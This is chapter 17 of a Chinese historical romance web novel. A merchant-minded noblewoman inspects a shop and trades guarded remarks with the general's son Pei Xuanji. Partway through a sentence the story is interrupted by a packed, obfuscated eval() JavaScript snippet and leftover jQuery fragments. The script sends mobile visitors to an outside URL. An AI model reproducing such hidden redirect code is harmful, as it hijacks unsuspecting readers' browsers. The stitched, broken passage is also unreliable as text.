17.第 17 章

作品:《金枝覆

    安置好自己的人后,叶逢昭坐在书案前,将那一匣黄金细细点了一遍,原本便计划购置铺子,如今倒是省了一笔自己的银钱,她索性决定趁此机会亲自走一趟。


    于是这日,她特意去见叶杭水。


    “父亲,女儿回京已有些时日,却尚未好好看看这京城风物,近日倒想出府走走。”


    叶杭水听罢,眉头微微一皱,视线落在她身上,似在揣度她的用意,旋即淡淡道:“你想去哪里?”


    “不过是四处走走,顺便看看些商铺。父亲也知,女儿这些年在外祖家人长大,耳濡目染之下,对生意之事倒也感兴趣。便想着看看这里同外祖家有什么不同。”


    叶杭水沉吟片刻,终究没有多问,只是道:“既要出门,护卫总要带着,在外要注意安全。”


    叶逢昭微垂眼睫,语气顺从:“女儿听父亲安排。”


    最终,叶杭水还是命了几名府中护卫随行,叶逢昭未曾推拒,端端正正地行了礼,这才转身离去。


    待马车行至目的地,叶逢昭在车内微微掀起帘子,望着街道上熙攘的人群。


    等马车停稳,她便缓步走下马车,回身对护卫道:“长街之上,我不过是随意看看,不会走远,你们在这等着即可。”


    为首的护卫闻言微微一顿,似是有些犹豫:“大小姐,路上鱼龙混杂——”


    “此处繁华,我不过是逛逛,又不会走到人烟稀少的地方。”她语气从容,眉眼间带着一丝不容置喙的温和坚定,“父亲让你们随行,是要你们护我周全,而非随时随地盯着我。守在此处,待我回来便是。”


    护卫面面相觑,最终还是躬身应道:“是。”


    叶逢昭扶了扶帷帽,转身踏入熙攘的人流之中,同阿棠径直往自己早已看中的那间铺子而去。


    铺面位置极佳,此处位于东市,周遭多是达官显贵出入之地,人流虽不多,但繁华非常。


    阿棠站在一旁,看着铺子的门面,忍不住感叹道:“娘子果然眼光独到,竟能相中这等宝地。”


    叶逢昭被夸后尤为开心:“那是自然。”


    叶逢昭本只是来看一眼,心里已有几分考量,想着择日换回男装再找到此铺子主人详谈,便准备转身回马车。谁知,就在她回身之际,店门却被人从内缓缓推开。


    她脚步微顿,眸光微微一敛,偏头望去。


    门内那人似是早有察觉,立在门口,笑意淡淡,声音温润:“娘子既然来了,怎的不进去看看?”


    叶逢昭眸色微深,在帷帽的纱帘内,目光迅速打量了一眼对方。


    那是一名身着青色长衫的男子,他眉目温润,气质儒雅,乍一看,倒像是哪家书香世家的公子。


    托华阳公主的福,叶逢昭如今看人,第一眼总会落在手上。


    眼前这位公子虽看着温文儒雅,双手却骨节分明,手背青筋暴起,他右手拇指上戴着一枚满绿的扳指,显然习惯执弓控马,绝非只会舞文弄墨的书生。


    更引她注意的是那扳指水头极好,质地通透润泽,一眼便知价值连城。这般招摇之物,寻常富商大贾纵使买得起,在此间恐也不会随意佩戴,此人绝对是世家子弟,且身份不凡。


    叶逢昭微微一顿,却是迈步走了进去。但心中不免生出几分警觉。自己向来耳力敏锐,且练武之人对周遭气息向来敏感,方才站在门前,她同阿棠都未能察觉屋内有人。


    这般隐匿自身气息的本事,绝非寻常人能做到。


    叶逢昭心中已有几分判断,却未露出丝毫端倪。她收回目光,神色不动,只是微微一笑:“倒是有趣,原以为此处空置,未曾想竟有人在内。”


    男子看着她,笑意更深了一分:“既是好铺子,怎会长久空着?娘子若有意,不妨入内一叙。”


    大梁民风比前朝宽和,男女之间虽仍有避讳,但并未过于严苛,因此她倒也不担心因这般相遇而招惹流言。


    此时,一阵微风吹过,帷帽的轻纱微微扬起,露出她半张面容。


    男子眸光微动,目光轻轻一顿。


    轻纱之下,露出的肌肤如玉瓷莹润,眉目精致,鼻梁纤挺,唇色嫣然,清雅的松绿色衣裙衬得她越发肤白胜雪,仿若秋水映月,含着几分清冷。


    叶逢昭察觉到他的目光,抬手轻扯帆篱,遮住了露出的面容。


    “公子也是来看铺子的?”


    青衣公子闻言,唇角微微一扬,笑意含而不露,看了叶逢昭一眼,目光却透着一丝探究。


    “在下确是来看铺子的,不过……这间店,原本就是我母家的产业。”


    叶逢昭听到这话,指尖微顿,随即笑了笑:“那倒是巧了。我家长辈对此铺子颇感兴趣,特意嘱咐我来看看。”


    叶逢昭话音刚落,男子却微微挑眉,似是对她的说辞并不完全信服。


    若只是替长辈探看,大可走马观花,刚刚她们主仆二人的对话,却像是已经将此处视作囊中之物,甚至隐隐透着一丝计划已久的笃定。


    再者,若真是长辈有意,为何亲自前来的是她?纵然大梁民风宽和,可一般女子鲜少插手产业之事,更何况,这处地界并非寻常铺子,若无稳妥的根基,怕是难以立足。


    因此,青衣公子未曾点破,心中却已然有了定论——


    这铺子,她不是替人看,而是打算自己买下。


    于是他笑了笑,语气闲适,却意味深长:“既然娘子有意,不妨入内一叙。”


    叶逢昭闻言,指尖微微一顿,眼底浮现出一丝惊讶。


    她分明已经说得滴水不漏,态度也足够自然,可眼前这位公子却像是根本不信,甚至不假思索地便笃定——她要买下这处铺子。


    她心念微转,面上却不露分毫,只是微微一笑,语气仍是平和:“公子这话说得有趣,我方才明明言明是替长辈看看,怎的在公子口中,便成了我要购下了?”


    她语调不紧不慢,像是不经意间随口一问,实则暗含


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098798|163454||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    试探,想看看对方究竟是察觉了什么,才会这般笃定。


    青衣公子神色未变,依旧闲适温雅,他微微侧首,看着她的眼神带着一丝意味深长的笑意:“娘子方才推门而入时,目光落处皆是要害,显然对这铺子已有盘算,若真是替长辈探看,又何需亲自细究地段、格局?何况,若这铺子真与你无关,你方才听我这话时,又怎会这般惊讶?”


    叶逢昭心中微微一凛,脸上却依旧含笑:“公子果然是个细心之人。”


    这人看似温润随和,实则目光锐利,言语之间不动声色地便试探出了她的意图。这般能耐,她倒是小觑了。


    不过,她一向不喜欢被人看透。


    青衣男子淡淡一笑漫不经心地问道:“娘子既有意购店,不知打算用作何用?”


    叶逢昭眉目微挑,帆篱后的眸光清淡,语气不疾不徐:“不过是打理些家业,自然是用来做生意。”


    男子闻言,目光微动,笑意更深了一分,却未再追问,只道:“这铺子确实难得。”


    叶逢昭见他这模样,心下了然,看来此人并不简单,恐怕这铺子也不是轻易能拿下的了。


    但她亦不惧,只是轻轻一笑,道:“既然如此,不知公子可愿割爱?”


    男子闻言,轻轻一笑,目光深邃而玩味:“娘子若是有心经营,不妨说与我听,或许在下还能助娘子一臂之力。”他顿了顿,语气悠然,带着几分似真似假的戏谑,“若娘子执意要买,不如——我替娘子求个人情?”


    叶逢昭指尖微微一顿,眸色微深,随即笑道:“公子客气了,家父尚在,家事自有父兄做主,断不敢劳烦公子求情。”


    她语气疏离又不失礼数,既未答应,也未显得刻意推拒。


    “娘子倒是谨慎,不过俗话说的好,买卖不成仁义在,在下裴宣机,字凝远,敢问姑娘芳名?”男子对她反应似是并不意外。


    叶逢昭微微一怔,并未立刻回应,而是垂下眼眸,指尖缓缓摩挲袖口,似是思索,又似在掩饰眼底的探究。


    她方才只道这人气度不凡,行止间隐透一丝贵气,却未曾想竟是裴宣机——辅国大将军裴道野之子。


    裴道野昔年随永兴帝征战四方,战功赫赫,如今封安国公,手握兵权,位高权重,而他的嫡长子裴宣机,自幼才学卓绝,不同于寻常其他世家子弟的纨绔放纵,此人才学极佳,加之生得俊雅非凡,出身显赫,素来是京中权贵佳婿首选。


    叶逢昭虽久居江南,但也听闻过此人之名。只是她未曾想到,今日竟会在此处偶然相遇。


    今日究竟是怎么回事?又是出师不利的一天。


    思绪转瞬即收,但叶逢昭神色未变:“原来是裴郎君。”她语调温和,带着几分得体的疏离,“适才多有打扰,今日倒是我叨扰了,我这就走哈。”


    裴宣机闻言,目光微动,虚虚拦住她道:“且慢,娘子此言何意?这铺子我并未打算自留,我看娘子有意,倒也不妨直言。”